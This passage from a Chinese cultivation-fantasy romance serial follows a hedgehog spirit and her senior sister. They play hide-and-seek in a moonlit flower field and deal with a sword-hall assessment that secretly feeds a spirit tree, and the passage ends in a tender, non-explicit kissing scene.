复又行进数百米,小刺猬心底的好奇不断增多,她拉住裴依宁的手指:“师姐,师姐。” 小刺猬欢快的声音传出:“我们要去哪里?” 只当是单纯的散步,怎得来到一处全然陌生的地方, 她对明越宗的探索还是太低, 局限于剑法阁和灵丹堂。 即使是这两处, 她都没能摸熟。 裴依宁掀开掌, 残留在小刺猬身上的药香被风吹过, 小刺猬忍不住打了个寒颤, 瑟缩回裴依宁掌心。 待到适应后,她翻身, 缩小后的身体能四仰八叉躺在师姐手中。 裴依宁食指点了点小刺猬柔软的肚子:“这里是明越宗一处荒废许久的地界。” 小刺猬挑高眉头:“都荒废了, 师姐带我来做什么。莫不是这里还有什么稀罕物,”她腾地爬起来, 想到什么,眼睛都亮了起来,满怀期待,“是不是有什么好吃的食物长在这里。” 据说有许多珍惜味美的植物会长在各种稀奇古怪的地方。这地方杂草丛生从这般,难保不会冒出什么好东西出来。 裴依宁沉思了会:“兴许会有。” 小刺猬哼出两声气音:“兴许?所以师姐不是带我来找吃的?” 她双臂张开,直直地倒回去。 刺顺从地贴在脊背上,并不会刺到人,小刺猬自然而然地用翻身,保持趴着的姿态,用肚皮贴着女人的肌肤,并不气馁:“那就是有别的好玩的,好看的。” 裴依宁没有立刻回答她这个问题,带着小刺猬继续往前,直至在一处破败的建筑前停下步伐。 巨大的玉石牌上篆刻的文字在经年累月的风侵雨蚀下,面目全非,看不到半点颜色,依稀能从石牌的最下方看到一个“阁”字,其余的便是再无。 小刺猬眨巴眼睛:“这里曾经也是一处峰阁吗?还是哪处的峰阁的旧址。” 残垣断壁中显露出的建筑材料无一不是名贵之物,殿前的装饰品在无尽岁月中释放着微弱的能量,镶嵌在殿门上的高品阶灵珠,各种符纸随意的散落在地,尽显此处昔日的富丽堂皇。 这定然不是剑法阁的旧址,剑法阁不可能这么富贵。小刺猬第一个排除了自己所在的峰阁。 她去过其余的峰阁,即使是最富有的三大峰阁也不曾用如此多的灵珠和珍宝装饰门面,她仰起头,殿头顶部的器物她认不出,可从中感知到的灵力波动,也非俗物。 就算搬离,也不该将这么多好东西留在这里,简直暴殄天物。 小刺猬脑子中灵光一闪:“师姐,你带我来这里是不是想要捡拾这里的东西。” 她摩拳擦掌,眼眸中的光迸发,这么多好物,简直一整个暴富。 她抬起身就要跳下去,被裴依宁一根手指按了回去:“这里的东西不可以拿。” 小刺猬不满:“为什么,你该不会是灵丹堂的旧址?不是,就算炼丹很赚钱,你们也不能这么败吧,小跟班,我今天就要教你什么是勤俭。” 裴依宁默默听她说完,而后道:“不可以,这里不是灵丹堂的旧址。” 小刺猬瞥了眼不远处散落的大把陷入泥地的符纸:“阵灵阁的?” 记起阵灵阁那位师姐漠然冷清的模样,小刺猬伸出的爪子收回些,可还是抵挡不住诱惑,小声道:“没想到阵灵阁的门人也这般败家。” 裴依宁绕过这处建筑,顺着一侧的小道前行。极目所尽,尽是延伸出的各种树枝花草,她不得不动用灵力将挡到去路的树枝斩断,清理至一边。 走走清清,速度不紧不慢:“这里并不是旧址,而是一座正经的峰阁,只是在数百年前,这座峰阁因为各种原因取消,在这修习的弟子都转向了她处。” “这里的东西虽成了无主之物,但宗主下过令,不得入内拿取。”裴依宁淡淡道。 小刺猬震惊:“为什么取消。” 裴依宁顿了下,道:“修习的内容实际上无人能练成,久而久之,自是要放弃。” 她并没有展开的念头,收回灵力,矮身越过最后一处挡路的枝桠,细长的手指捏住小刺猬的脸颊,往里一挤,小刺猬的唇被迫嘟到一起。 裴依宁道:“好了,这些跟我们无关,”她目光看向前方,壮观的花海呈现在眼底,瞳孔中挤满随风浮动的五颜六色,她卡住小刺猬短小的脖颈,向上抬起,“看这里,星星。” 小刺猬毫无准备地对上这片花海,争奇斗艳的色彩侵占她的大脑,馥郁的花香近乎凝成实质,侵入她的身体。 难以想象,这处破败之地竟然还有如此壮观,一眼望不到头的花海。 小刺猬呆呆地凝视着,不可置信道:“好美。” 裴依宁走进,灵力化为一把高蹬,她长腿一蹬踩了上去。 夜色中,天空被晕染成蓝色,中间蒙着一层很淡的紫,月光如流水,洒落在这片花海中,静谧的美好在此地尽显无疑。 裴依宁曲腿搭在凳下的横栏,低声道:“夜晚的这里,最是好看。” 她抬手摘下最近的一朵花,浅蓝色色调中零星点缀着暖黄色。 冷色瞬间有了温度。 将其插在小刺猬的身体上,竟是能将小刺猬覆盖住。 自她让小刺猬缩小后,星星便没有再恢复原本大小。 身上沾染上花粉,小刺猬鼻头耸动,轻轻细了细:“好香,为什么这里有这么大的花海。” 裴依宁淡笑:“昔日在这修习的人可以靠这些花释放出的灵力修炼,种植了许多。这么多年,偶尔会有人过来,赏花放松。” 小刺猬跳了下去,转头问:“我可以进去吗?” 裴依宁食指分出一根肉眼难以捕捉到丝线,将小刺猬团团围住:“可以,小心别在里面迷路了。” 花香醉人,小刺猬眼下这般小,说不准真的会丢,裴依宁支起下巴,眼见小刺猬钻入花丛中,牵引的那条丝线被拉长,而后绷直。 轻缓摇晃的花丛似受惊了般,窸窸窣窣的发出声响,形成一圈波浪,遥遥地席卷至整片花海中。 丝线在不断拉长,小刺猬跑得过远了。 短小的四肢竟能跑得这般快,裴依宁分出灵识探索小刺猬跑到了何处。 灵海内传来小刺猬的声音:【裴依宁,陪我捉迷藏。】 裴依宁:【好,星星躲好了跟我说一声。】 小刺猬:【躲好啦,不准用灵识找我。】 定下了规矩,裴依宁自是会遵守:【好。】 在这么大一片花海中寻找一只和沙糖桔差不多大小的刺猬,难度不低,何况小刺猬说不定还会钻到地下,更难找了。 但…… 裴依宁垂眸,食指勾动,连接的那根丝线往回收。 她没有动用灵识,算不得违反规定。 裴依宁勾住那根丝线,念动起,不过呼吸间的功夫,灵线被收回,另一端栓着一只气鼓鼓,双爪环抱,下肢摆烂地垂耷,用侧脸对她,满脸不忿的小刺猬。 如案板上的鱼,小刺猬哼哧哼哧地涨红了脸:“裴依宁,你是笨蛋,你耍赖,说好不准动用灵识的。” 裴依宁:“没有动用灵识。” 小刺猬咬牙切齿:“灵力自是也不能动用,你总是犯规,你就是笨蛋坏人。” 翻来覆去就那几句说人的话,一点杀伤力都没有,反倒显得小刺猬太过可爱。 裴依宁拎着线头,将小刺猬提到眼前,猝不及防地松开卷起的线,小刺猬一瞬间往下坠落。 “裴依宁!”小刺猬的叫声直达云霄。 小刺猬狼狈的距离地面不过几公分。 再度被提起,女人的声音荡漾:“嗯?不是说我是笨蛋坏人吗?” 小刺猬咬紧后槽牙,预料到乱说话会再次尝到极速下降的滋味,她抚过乱蹦的心脏,本着忍一时风平浪静的念头,谄媚地划拉四肢,扑到裴依宁脸颊边。 “裴依宁是世界上最最好的师姐,最最好的!”小刺猬表面笑意盈盈,心底翻来覆去地想着如何将这笔账还回去。 她记得裴依宁也能缩小身体,之前回老家时,裴依宁就曾经变小过,惹得松松震惊不已 一条计划浮现:“师姐,好师姐,你能不能变得小小的,”小刺猬比划着,“和我一样小。” 裴依宁:“好。” 她放下小刺猬,灵力涌动,在小刺猬面前不断缩小身体,直到和小刺猬差不多大了,她停下,扬眉:“这样可以吗?” 小刺猬欣喜地咧起唇:“可以的,可以的。” 现在她是本体,师姐同她一般大,优势在她。 小刺猬抿紧唇,以免笑出声被师姐发现不对劲的地方,扭扭捏捏地往师姐身前挪动两分。 她说:“师姐,这次换你躲,我来找你,如何?” 裴依宁思索一二:“好。” 小刺猬笑:“按照先行的规矩,不准使用灵识,也不准使用灵力,总之,不准动用任何。” 裴依宁:“好。” 小刺猬:“那我数到一百就去找你。” 裴依宁:“嗯,好。” 小刺猬开始数:“一,二,三……” 裴依宁反身往花海中钻,她着实想知道小刺猬打的什么注意,小小的身形在花丛中穿行而过,并不跑远。 进入花海,四面八方都是路,小刺猬不一定知晓她前往的路线。 站在花海外的小刺猬:“九十九,一百!”她故意通风报信般,“师姐,本星星来抓你啦。” 话音刚落,小刺猬钻入花海中,伏在地上嗅闻一番,全都是浓郁的花香,将其她的气息紧紧压在下面。 小刺猬耐心地嗅闻,边走边闻。 师姐身上浅淡的药香被花香压制地快要嗅闻不到,小刺猬眉心紧拧。 比她想象中的难度要大。 还要防止师姐先一步发现她,躲到其她地方。 小刺猬尽量不碰到花株,避免花株晃动被猜到位置。 一路嗅闻到一处紫红色的花株后,小刺猬疑惑地停下。 属于师姐身上的药香扩散到四面。 怎么回事,怎么四周都有师姐的气息。 师姐总不能都跑一遍吧。 不好,师姐猜到她的方法了,用这种方法干扰她的判断。 小刺猬暗道:“坏师姐。” 她四周看看,偷偷地调用一点点灵力去找师姐。 “星星,你犯规了。”灵力不过刚蔓延出一点,裴依宁的声音传来。 小刺猬下意识地寻声找寻,绕过一圈都没能发现。 她压下眉:“师姐?” 裴依宁轻声回应:“这里。” 小刺猬下意识抬起头,只见身前花茎托举着的花朵上,一条腿伸出,生怕她看不见似的,弯曲在下的小腿来回摆动。 小刺猬:“……” 裴依宁的声音自上传来,由于变小,使得她的声音听着都小小的:“这局算我赢吗?” 小刺猬:“……不算。” 小刺猬脸不红心不跳地:“再给我一点时间,我一定可以发现师姐,”她踩踩脚下的地,“我都已经停在你躲藏的花朵前了。” 裴依宁含着笑:“不是因为你嗅不到我身上的气息了吗?” 裴依宁起身,从花朵上一跳而下:“怎么又要耍赖,星星大人?” 总觉得裴依宁这声星星大人讽刺意味十足,小刺猬气恼地坐在地上,下肢一伸,不情不愿地:“本星星大人才没有耍赖。” 好像怎么都玩不赢师姐,小刺猬不开心,非常不开心。 裴依宁看了她两秒,迈步,坐在小刺猬的下肢上。 原以为师姐会安慰她的小刺猬:“……笨蛋裴依宁。” 裴依宁淡淡道:“怎么总爱说人是笨蛋,是因为星星自己不聪明吗?” 星星大人的权威受到挑衅:“姐姐说我是最聪明的小刺猬。” 裴依宁认真地看向小刺猬,一字一顿:“她骗你的。” 小刺猬:“……” 这句话的后果就是,小刺猬的眼眶瞬间红了,昂扬的气息萎靡下去,双爪无措地叠在一起,做错事的孩子般,咕哝:“骗我的……骗小刺猬的,星星不是聪明的小刺猬……” 裴依宁心一停,弯身自下而上地去看小刺猬,懊恼方才那句话,抱住小刺猬:“没有,云姐姐没有骗星星,星星就是世界上最聪明的小刺猬。” 小刺猬吸吸鼻子:“真的吗?” 裴依宁:“真的。” “笨蛋裴依宁,”方才哭哭啼啼的小刺猬登时变了脸,“被本星星大人骗了吧。” 裴依宁淡笑:“是,被聪明的星星骗了。” 小刺猬满足地笑了。 休息了会,小刺猬变大了点,提起裴依宁丢到背上,往花海边缘跑去。 夜更深了。 繁星闪烁,一小人一小刺猬并排倒在高椅上。小刺猬嘀嘀咕咕地在清数满天繁星,但星辰过多,怎么能数得完。 小刺猬数了会,毫无精力地侧转过身,身边的人一直在注视着她,四目相对,小刺猬怔愣一瞬,笑出声。 她抚住裴依宁的眼睛。 眼前黑了一片,裴依宁屏住呼吸,覆盖在她眼睛上的触感忽而变得柔软。 她抬手抹去,是根根分明的手指。 云榆收回手,俨然变成了同裴依宁一般的小人。 这招是她在问玉宫闲得无聊时,缠着师姐教她的。 小小的云榆和小小的裴依宁侧躺对视,月光流淌在两人之间,无形的气氛环绕包裹。 “师姐,”云榆手臂自然地搭在女人腰身,挪动身体贴近女人,埋于女人的锁骨处,“你身上多了层花香。” 裴依宁:“你也是。” 云榆搂紧师姐:“晚上在这里睡安全吗?” 裴依宁:“安全的。” 云榆从储物空间中取出一条毛毯,盖在自己和师姐身上,她往上扯了扯。 裴依宁取出一只小小的枕头:“抬头。” 云榆依言,枕在枕头上,随即伸长手臂,勾住身旁的女人,往身边一带,手臂搭在女人的腰身,在师姐额头上落下一吻:“晚安,师姐。” 裴依宁低声:“晚安,星星。” 不深的睡意因为这句话漾起,裴依宁枕在云榆的手臂上,缩进云榆的怀中,白日的清冷从容转化为可触见的温柔。 云榆看了眼墨蓝色的天,闭目酝酿睡意。 一夜好眠。 初晨是被感知到的气息惊醒的,出自妖族对危险本能的感知,云榆猛地睁开眼。 身边躺着的人不知何时已经醒来,背对着她坐在圆椅的边缘。 “依宁,云师妹?”风浅念温和的声音渐起,“你们怎么变得这么小了?” 她看了眼躲在毯子下,露出一个小脑袋,眼底混着茫然和不清醒的云榆,浅浅地弯下唇,弯下身,与坐着的小裴依宁齐平:“昨晚在这里睡的?” 裴依宁“嗯”了声,眼神扫了眼风浅念身后的原以诗,对方负手而立,背对着她们:“你们来这是?” 风浅念笑:“这里有一种炼器的土,其她人来这我们不放心。” 毕竟峰阁废墟内藏着那么多好物,若是有人起了贪念,乱动引发此地阵法重启就不好了。 裴依宁了然。 风浅念双手撑着膝盖:“依宁,你这个样子有些可爱了,”小小一只,软萌萌的,从小一起长大的情分,她都没见过这般小只的裴依宁,“我能捏捏你吗?” 云榆趁着风浅念不注意,从毯子里钻出来,好在衣衫整洁,不用担心影响。 她刚竖起耳朵,就听见风浅念的这句话,不由得望向师姐的后背。 小小一只的师姐,的确过分可爱了。 她手痒了,想捏。 裴依宁半支起眼睑:“浅念。” 风浅念笑盈盈地收回方才的话:“那就不捏了。”她将目光转向云榆,云师妹素来好说话,她道,“云师妹,早啊。” 云榆不好意思地:“风师姐,早。” 裴依宁自圆凳上落下,身形一瞬间变回,纤长的身体挡住身后的小只,反手拎起小云榆放在肩膀上,随后撤去灵力。 圆凳消失。 原以诗察觉到灵力波动,转身回望,瞧见裴依宁恢复原样,走过去。 裴依宁:“原师姐。” 原以诗微微颔首:“听浅念说,你们昨日回来的。” 裴依宁:“是的。” 原以诗:“昨日器物堂考核,你们来时,我并不知晓。考核结束,我去看了眼,那批炼丹炉明日便可都铸造好。” 云榆想问一句器物堂的考核要持续多久,但她一不是器物堂的人,二不是灵丹堂的人,这句话她问出来显得几分怪异。 但实在好奇地很,她折中地问:“风师姐,器物堂考核一般持续多久啊。” 风浅念思索片刻:“往日考核一两日即可,这次的要久一点,不过明日也该结束了。” 说罢,她手臂轻轻碰了下原以诗:“应该是吧。” 原以诗冷然的面容有了融化的迹象,半晌后,她道:“嗯,明日最后一日。” 风浅念和原以诗没能停留多久,她们一早过来挖取炼器之土就是为了不耽误今日的考核,三两语后,两人告辞离去。 小云榆双手撑着下巴,一瞬不瞬地注视着两位师姐离去的背影:“可怜的器物堂人,还要度过两日的艰难考核。” “明日新的炼丹炉送来,”裴依宁歪头,肩膀上的小云榆托举着脸颊,脸颊肉挤出,肉嘟嘟的。女人戳过她的脸颊,继续道,“灵丹堂的考核也要开始了。” 小云榆叹息:“可怜的灵丹堂人,这么看,还是我们剑法阁不错,至少不会考核这么久。” 裴依宁不置可否。 从此地回去,小云榆继承了本体的位置,一动不动地坐在师姐肩膀上,坐累了,她顺着师姐的手臂,像坐滑梯似的往下滑。 裴依宁另一只手随着小云榆的下滑而不断移动,灵力在小云榆周身织开:“慢点。” 小云榆滑到师姐的小臂,躺在上面:“好哦。” 恰在此刻,云榆灵识内忽地收到一声传音,满是笑意的小妖神情登时僵住一瞬,而后变成苦瓜脸。 小云榆苦兮兮地:“完蛋了,师姐。” 裴依宁:“怎么了?” 小云榆哭丧着脸,抱着裴依宁的小臂装哭:“杜师姐方才传音给我,说我明日剑法阁要考核,让我务必参加。” 作者有话说: 目前暂定的番外有风师姐和原师姐的,姐姐和宫主的。 然后本文是主攻文,所以师姐不会反攻哦 还有别的想看的番外吗 第103章 第一百零三章[VIP] 小小的妖有气无力地挂在裴依宁手臂上, 两只手抱着女人的小臂,身体半悬在空中,像绣在裴依宁衣袖上的小挂件。 她欲哭无泪地:“师姐,总不能是你们三大峰阁影响到剑法阁, 以至于剑法阁临时增加了考核吧。” 她入宗时间算不得长, 参加考核的次数不多,却也知道剑法阁不会平白无故地突然设立考核项目。 总是会提前通知的。 她昨日回宗, 也没收到应滟或卞凝通知考核的事。 这种热闹, 剑法阁为什么要凑。 小云榆攥紧拳头,死死揪着师姐的衣衫不肯放手。 裴依宁慢条斯理地托举住小云榆的身体, 细长的手指慢悠悠地挑开小妖的手指,将跌在她掌心的小妖拿到眼面前, 清冷温柔的眼底溢出浅浅的弧度。 小云榆刚要说话,裴依宁指尖点在她的唇上,唇齿被封住。 裴依宁问:“不想去?” 小云榆点点头,又摇摇头。 裴依宁想了想:“愿意去,但不想参加考核。” 小云榆依旧是点点头, 又摇摇头 裴依宁移开手指, 面对小小的妖, 她连说话的声音都轻了许多, 唯恐惊吓到面前的小家伙:“那是为什么?” 小云榆深呼吸两口:“我不是不想参加考核, 而是害怕像器物堂或者是未来几日的灵丹堂那般, 一连数日,一日几次的考核。我感觉考核真的很耗费精力, 即使知道自己一定能通过, 也不得不打起十二分的精神。” “当然,如果考核途中出现失败, 可能会更难受。” 一连说了很长一段话,小云榆有些呼吸不上来,她晃动身体,摆脱师姐的桎梏,踩在坚实的地面上,身形随之变大。 视线与裴依宁齐平,云榆拍了拍身上并不存在的灰尘:“好啦,准备去参见剑法阁的考核了,不知道今日的考核题目会是什么。” 裴依宁定定地望着面前的小人:“剑法阁的考核与灵丹堂及器物堂的不一样,后二者必须要通过大量的考核来确定每位师妹的薄弱之处。它并非如剑法那般,一出手便知有无差错。” 云榆似懂非懂。 “很多时候,炼丹或是炼器,可能只是材料份量失之毫厘亦或者是步骤出现些许不对,便会造就失败。”裴依宁缓而慢地说着,鸦羽般的睫毛随着她的话语轻盈扇动,“这是没什么办法的事情。” 云榆了然,既然这样,那剑法阁的突然考核就不会是受到其她峰阁的影响。 那是因为什么。 剑法阁后山阁的那棵灵树不知被谁砍了一刀。 纳兰然的话浮现在脑海中。 莫不是因为这个,云榆不明白二者之间的关系。距收到杜师姐的传音已经有了一阵子,她不再耽搁,当即就要往剑法阁赶。 召唤出灵剑,云榆回身问:“师姐,我考核完再来找你,还是跟我一起去?” 剑法阁的考核素来不避讳,但裴依宁毕竟身份特殊,加之两人在一起后没怎么出现在师姐妹们面前,就这样赤裸裸地将师姐带过去,定然要惹得许多人的目光。 不知道师姐适不适应,云榆先征求师姐的意见。 裴依宁抬眸看了眼半空的灵剑,脚尖点地,轻盈跃上,她居高临下地对云榆伸出手:“我在的话,星星会感到放松吗?” 云榆扬起笑脸上剑,周身灵力闪动:“不知道,可能会因为想在师姐面前好好表现而更紧张。” 她故意拉长了语调:“要是因为紧张出现失误,师姐在那会不会觉得跌面?” “不会。”裴依宁想也不想地回道。 云榆笑意更深:“师姐最……” 最后一个字还没能说出,被裴依宁硬生生打断,女人清冷淡然地:“你出错,自会跌你自己的面。毕竟我不是剑修。” 云榆生出的感动因这句话破裂地稀里哗啦,也不御剑了,她故作愤怒地转过身:“师姐最坏!” 裴依宁低笑出声,不舍得逗面前的小妖了:“不会,星星就算出错了,在师姐这里,也是最好的。”她揉揉云榆的发顶,为她打气,“按照你平时的来就好,一定会过的。” 云榆闷闷地:“过不了呢?我都许久没有正儿八经地练过剑了。” 问玉宫的那些天,多是以打坐吸纳灵气为主,冒然之下,云榆难免担心,这才想要从师姐身上寻求安慰感。 师姐只是站在那看着她,她就觉得有无限力量。 云榆抿住唇,想着到达考核地后,看看今日的考核内容,先自行练一遍,再去找剑法阁的师姐们考核。 “过不了也没关系,一次考核决定不了什么,日后加紧修炼便是,”裴依宁轻轻抱住恹恹的小妖,“师姐会陪着你,别担心,放宽心。” 周身被熟悉的气息和温度团团包裹,云榆贪恋地闭上眼睛:“好。” 毕竟是宗门上空,稍不注意就会被看见,云榆在女人脖颈处蹭了蹭,适可而止地主动松开师姐。 抵达剑法阁的考核地时,偌大的空地上零零散散站着数十人,是与云榆一批入宗或者稍晚一些入宗的新弟子们。 和其她几个峰阁一般,只是针对入宗不久的弟子的考核,云榆的心稍安。 她如今的实力比同时期的同门高上不少,只有题目不过分刁钻,定然可以通过。 灵剑降落在考核地的边缘,裴依宁目送云榆过去。 陆陆续续有同门御剑而来,她们的动静没有引得周围人的注意。直到云榆靠近考核区域,卞凝和应滟率先注意到她。 一个多月不见,两人身上的气息强横许多 “榆木,”应滟大大咧咧地迎上云榆,抬手与她碰了下,“你回来了。”说着,她偷偷扫了眼考核地前的一种面色冷凝的师姐,低声道,“临时收到师姐们说要历练的传音,早知道我和卞凝接个简单的任务出去了,说不定能避开这一劫。” “不过你回来的也太不凑巧了吧,刚回来就被抓来考核了?” 云榆:“昨日回来的。” “那还好,最起码有时间调整。” 卞凝慢一步走来,上上下下打量云榆,见对方好生生的后,神情明显放松许多。 她说:“我听其她师姐说,是与后山阁的那棵灵树有关,好端端地被砍了一刀,阁主给杜师姐她们下了死命令,让务必找出砍了灵树的人出来。” 云榆猜到有这层原因,但她奇怪:“这跟考核有什么关系。” 卞凝摇摇头:“不清楚。” 就在这时,只见两位师姐搬着一块半人高的青蓝色晶石往考核区中心走。 两边的弟子纷纷让道。云榆站的位置距离中心区不远,她踮起脚尖,头往前伸,一瞬不瞬地观察那块石头。 她在这块晶石上没有察觉到灵气。 杜寻雁亦步亦趋地跟在晶石后面,半握起的掌心攥着什么东西,无形的威压自她掌心处释放。 周围有眼尖的人看清那东西:“是灵珠。” 云榆不动声色地往前走了几步,恰在这时,杜寻雁回过头,一时间,四目相对,云榆尴尬地下意识往后退了两步。现驻敷 杜寻雁的目光在她身上停留几秒,很快移至别处,举起几枚灵珠,清亮的声音传遍考核区:“灵树被砍的事大家知道了吧,今日的考核内容即是找出那一刀的主人。” 她将灵珠贴合住晶石,灵珠肉眼可见地融入晶石内部,顷刻间,澎拜的灵力如潮水般四散开来。 晶石爆发出青绿色的光柱,直冲云霄。 云榆不由得仰起头,眯起眼睛。 果然不是简单的晶石。 杜寻雁道:“每人按顺序,一一将灵力注入晶石内即可回去。” “这么简单?”有人低呼。 杜寻雁:“就是这么简单。安静,考核开始。” 云榆目瞪口呆,头一次听说这种考核形式,若是让处在水深火热中的器物堂同门知晓,不得气得停了她们下个月的器物。 应滟忍不住道:“这考核未免太随意了吧,杜师姐这是敷衍阁主呢?” 云榆没发表意见,她将灵力注入晶石后,和卞凝应滟等人聊了几句,告辞去寻师姐。 “师姐,你说是不是很奇怪,杜师姐传音时,我以为很急,来到后,考核内容只是往一块晶石内注入灵力,太荒谬了吧。”回到师姐身边的云榆边走边将方才的事情说了一遍,“师姐知道那晶石有何作用吗?” 裴依宁遥遥地望了眼被剑法阁弟子围住的晶石,精致的眉眼舒展开,绕有深意地微微一笑。 云榆不明所以:“师姐,你笑什么?是不是也觉得很荒谬。” 裴依宁道:“回你洞府说。” 云榆应了声“好”。 住习惯了问玉宫的宫殿和师姐的洞府,再回到自己的洞府,云榆顿感自己的日子是真的苦。 本来就很苦,对比之下更苦了。云榆心底默默补充一句。 心思短暂停留在洞府内一刻,她拥灵力将久无人住的洞府清理一通。 “那棵灵树应当不是明越宗弟子砍的。”裴依宁入宗百年,许多事情都见过,她记得上次灵树被砍一刀是在二十年前。 那是纳兰然都还未入宗。 云榆诧异:“不是明越宗弟子?” 总不能是外人或者是……她瞳孔猝然睁大,不可思议地望向裴依宁。 裴依宁皙白的手指有节奏地轻点桌面:“猜到了?” 云榆咽了下口水:“阁主?” 裴依宁略一颔首。 云榆不可置信:“不是,为什么啊?阁主砍了灵树一刀,然后震怒,让杜师姐彻查是谁砍的,这不是前后矛盾……” 等等,相比于前两次考核的严谨,今日的考核,松散至极。 云榆迟疑:“但师姐通知了所有在宗门内的剑法阁新弟子。” 裴依宁:“表面功夫总是要做到位的。” 剑法阁后山阁的这棵灵树,不知生成了多少年头,平日里来来往往的弟子,还有暗处守卫的人,怎么可能那么容易被伤到。 还让伤到灵树的人在眼皮子底下跑了。 在看见那块晶石,结合前段时间灵树上一颗果实都没有的事实,裴依宁便知道发生了什么。 但这点说出来,许是要伤到某只小妖。 单纯是因为灵树需要新的灵力供养,而新弟子的灵力无疑是最好的选择。刚入宗的她们,品阶不会过高,灵力足够的温和,不会伤及灵树根本,易于被灵树吸纳。 而砍的那刀,只是为了取出灵树内的那枚晶石罢了。 换言之,那枚晶石即是灵树的本源。 但云榆本着刨根问底的原则:“可为何要自导自演这么一出?” 裴依宁笑:“许是为了保护灵树。” 那点灵力对于她们来说无足轻重,半柱香的时间便可回归体内,可一旦告知那枚晶石是灵树的根本,难保不会有心思不正的人打起晶石的主意。 百年前就有过例子,有得知晶石功效的弟子趁夜妄图毁树取晶石,被守在暗处的人拿下。 自此后,便不再跟新弟子明言此事。 每二十年自导自演一次,昔日的新弟子在二十年后成长起来,这枚灵树内部的晶石于她们意义不大,自不会铤而走险,知晓也无妨。 充其量去多摘几枚灵果解气。 “……”得知前因后果的云榆皮笑肉不笑,“阁主还挺照顾我们自尊心的。” 裴依宁笑笑:“是有这层含义。剑法阁每位弟子都为灵树贡献过灵力,某种意义上,也算是一种传承。” 本着吃过不少灵果的云榆大人大量地不去计较那微末的灵力。 想到师姐明日可能就要忙了,云榆栽倒在师姐怀中,软得跟个没有骨头似的,软绵绵地:“师姐,剑法阁的传承是那棵灵树,灵丹堂的传承是什么呢?” 裴依宁道:“大概是每位弟子炼制成功的第一枚丹药吧,都被妥善放在单独一间的殿宇内。” 云榆圈住师姐的腰身,忽而想起什么下,眼睛亮晶晶地从空间储物中取出一枚一品丹药。 是当初还不知道裴依宁身份时,女人当着她的面炼制的。 她一直保管得好好的:“师姐,是不是就像是这枚丹药,”她拉长了声音,嬉笑着说,“这是宁依炼制成功的第一枚丹药哦。” 她笑意加深:“它不在灵丹堂,而是在我身上。” 裴依宁怔忪,半晌后,她回过神来得一笑,那时极力在云榆面前扮演初入宗门的灵丹堂小师妹的画面历历在目。 再回首,恍然如梦,又觉得近到触手可及。 裴依宁握住云榆的手,连带着那枚丹药被她一并包裹:“星星保管得很好。” “我还记得当时收到这枚丹药的激动。”她狡黠地看向裴依宁,并未急着说话,而后坐起身,变回小刺猬,“毕竟是小跟班给我炼制的。” 她顿了下:“但你当时说并不是你炼制的第一颗。但对本星星而言,就是宁依炼制的第一枚。” 先前的都是裴依宁炼制的,和宁依有什么关系。 小刺猬自有一套自己的逻辑。 小心翼翼地将丹药重新放回空间储物中,小刺猬朝向裴依宁,漆黑的瞳孔中倒映出裴依宁小小的身影:“宁依,你要继续当本星星大人的小跟班吗?” 裴依宁笑:“愿意。” 小刺猬一本正经地道:“好,本星星现在就为你去骗吃食。就像当初我对你说的,当我跟班,有我一口吃的,就有你一口喝的。” 裴依宁忍俊不禁,小刺猬一如往昔的活泼好动,傲娇气不减。 她伸出手指搭在小刺猬的爪子上,勾起:“好。” 紧接着,小刺猬在裴依宁面前腰身一变,变回人形。 她略有些为难地看向裴依宁,两根手指对着,很是无辜地抬起眸子:“师姐,我能骗你吃食吗?” 裴依宁眉梢挑起:“嗯?” 云榆扭扭捏捏地道:“是这样的,我收了一个小跟班,我答应为她提供吃食。” 裴依宁陪着她演:“嗯,然后呢?” 云榆拉起师姐的手,贴在唇边:“但我做的饭好难吃,担心小跟班会嫌弃我。” 裴依宁:“不会,你做什么,你的小跟班都喜欢吃,”她顿了下,补充一句,“我也喜欢吃。” 话音刚落,怀中挤入温暖的柔软。 云榆扶在裴依宁的肩头,笑得身体直颤,笑着笑着,小妖凑到女人耳边,近乎呢喃的气音:“师姐,你太好了。” 好到包容她的所有,完美的,亦或者是不完美的。 她的幼稚被很好的照顾:“我好喜欢你,师姐。” 酥麻的气流在耳边打着圈,柔化了裴依宁面对云榆时本就软化的心,她听见云榆说:“师姐,如果早点遇见你就好了,如果我早点入宗就好了。” 裴依宁抚上她的脊背:“我也喜欢你,星星,只喜欢你。” 不知过了多久,云榆从裴依宁怀中探出身体,她仰起头,吻了吻师姐的唇角,然后快速退开,与师姐对视。 看见师姐眼底的那抹纵容,云榆弯下唇。 半秒后,她又上去吻了吻师姐的唇角,这次没再分开,她虔诚地吻住师姐,单纯的吻着两片薄软的唇。 双臂自然而然地圈起,搭在师姐的双肩。 面前人呼吸越发急促,胸膛前的推拒越来越发,云榆松开面色红润的女人,指背怜惜地抚上师姐的脸颊,顺着轮廓线一点点向下。 纤长的手指挑起师姐的下巴,她眼底的隐忍明显而克制,灼烧地裴依宁眼尾泛起浅薄的绯红。 云榆捏住师姐的下巴,指腹顺在师姐的下唇,略微用力下压,便能看见一点唇边的红。 “师姐,”云榆轻轻呼唤裴依宁,“我能继续亲你吗?” 她有时规矩的过分,有时又放肆的过分。 裴依宁缓和着呼吸,闭上眼,默许。 云榆单膝卡在师姐腿间,俯下身,歪头,含住师姐颈间的柔软,在牙齿中反复轻柔地摩挲,鲜红的舌尖不时点在咬住的那片肌肤。 “师姐。”云榆启唇,含糊不清的调子似乎传过裴依宁的血肉根骨,传入大脑。 女人微微扬起头,五指陷入云榆的发中:“师姐在。” 只是亲吻,再无更进一步的举措。 昨日闹得太厉害,师姐衣衫下的印子还没能全部消退,明日器物堂就会将新的炼丹炉送至灵丹堂。 师姐要去看考核,身上的痕迹总是要藏藏的。 她压住锁骨延伸的下方,埋没在衣衫中的一片紫红色的痕迹,问:“师姐,灵丹堂没有别的炼丹炉了吗?” 只是炸毁了十顶,偌大的灵丹堂没有多余的存量吗? 裴依宁:“有,但那些炼丹炉品阶较高,不适合她们。” 高品阶的炼丹炉因其材质,一旦炸裂,蹦裂的碎片足以重伤周围人。 云榆只是想找话同师姐说,无所谓是什么:“师姐,我们上次在城池抓到的那团黑雾怎么样了?” 裴依宁:“交由执法堂处理了。” 云榆额头与裴依宁相抵,鼻尖相触,彼此间呼吸可闻:“师姐,等你有时间了,教我做饭好不好?” 裴依宁:“怎么要学这个了?” 云榆坐到裴依宁腿上,歪头靠在女人心口,有一搭没一搭地聊着:“因为我也想让师姐尝尝我的手艺。学成的手艺。” 修行之人,像云榆这么注重口腹之欲的应当不多。 裴依宁在认识云榆前,极少特意做这些。她的生活多是闭关,炼丹,教导师妹,三点一线。 裴依宁眯起眼睛:“好啊,等灵丹堂的考核结束,就教你。” 云榆问:“师姐打算考核几日?” 